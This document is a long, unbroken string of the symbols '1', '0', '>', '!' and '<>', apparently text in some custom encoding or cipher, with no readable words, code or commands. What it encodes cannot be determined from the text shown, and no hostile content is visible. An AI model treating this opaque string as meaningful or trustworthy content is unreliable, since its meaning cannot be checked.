1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>